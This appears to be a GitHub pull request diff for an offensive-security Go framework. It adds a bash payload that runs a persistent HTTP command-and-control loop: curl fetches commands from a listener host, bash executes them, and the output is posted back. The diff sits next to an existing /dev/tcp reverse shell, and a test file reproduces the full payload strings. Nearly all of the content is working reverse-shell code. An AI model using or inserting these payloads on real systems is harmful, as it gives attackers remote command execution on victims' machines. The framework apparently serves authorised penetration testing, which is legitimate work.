Skip to content

Add shell script loop payload for HTTPServeShell #378

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 2 commits into from
Jul 14, 2025
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions payload/reverse/bash.go
Original file line number Diff line number Diff line change
@@ -7,6 +7,7 @@ import (
const (
BashDefault = BashTCPRedirection
BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'`
BashHTTPShellLoop = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s-H"VC-Auth: %s" %s://%s:%d || exit)")" %s-H"VC-Auth: %s" %s://%s:%d/rx ||exit;sleep 1;done'`
)

// The default payload type for reverse bash utilizes the pseudo-dev networking redirects in default bash.
@@ -18,3 +19,15 @@ func (bash *BashPayload) Default(lhost string, lport int) string {
func (bash *BashPayload) TCPRedirection(lhost string, lport int) string {
return fmt.Sprintf(BashDefault, lhost, lport)
}

// An infinite loop shell script that will stay running until the HTTP server fails to respond.
// This fits the c2.HTTPShellServer C2 logic in a shell script form.
func (bash *BashPayload) HTTPShellLoop(lhost string, lport int, ssl bool, auth string) string {
k := ``
h := `http`
if ssl {
h = "https"
k = `-k `
}
return fmt.Sprintf(BashHTTPShellLoop, k, auth, h, lhost, lport, k, auth, h, lhost, lport)
}
16 changes: 16 additions & 0 deletions payload/reverse/reverse_test.go
Original file line number Diff line number Diff line change
@@ -24,6 +24,22 @@ func TestBashDefault(t *testing.T) {
t.Log(payload)
}

func TestBashHTTPShellLoop(t *testing.T) {
payload := reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, true, "vulncheck")

if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444 || exit)")" -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
t.Fatal(payload)
}

payload = reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, false, "vulncheck")

if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H"VC-Auth: vulncheck" http://127.0.0.1:4444 || exit)")" -H"VC-Auth: vulncheck" http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
t.Fatal(payload)
}

t.Log(payload)
}

func TestNetcatGaping(t *testing.T) {
payload := reverse.Netcat.Default("127.0.0.1", 4444)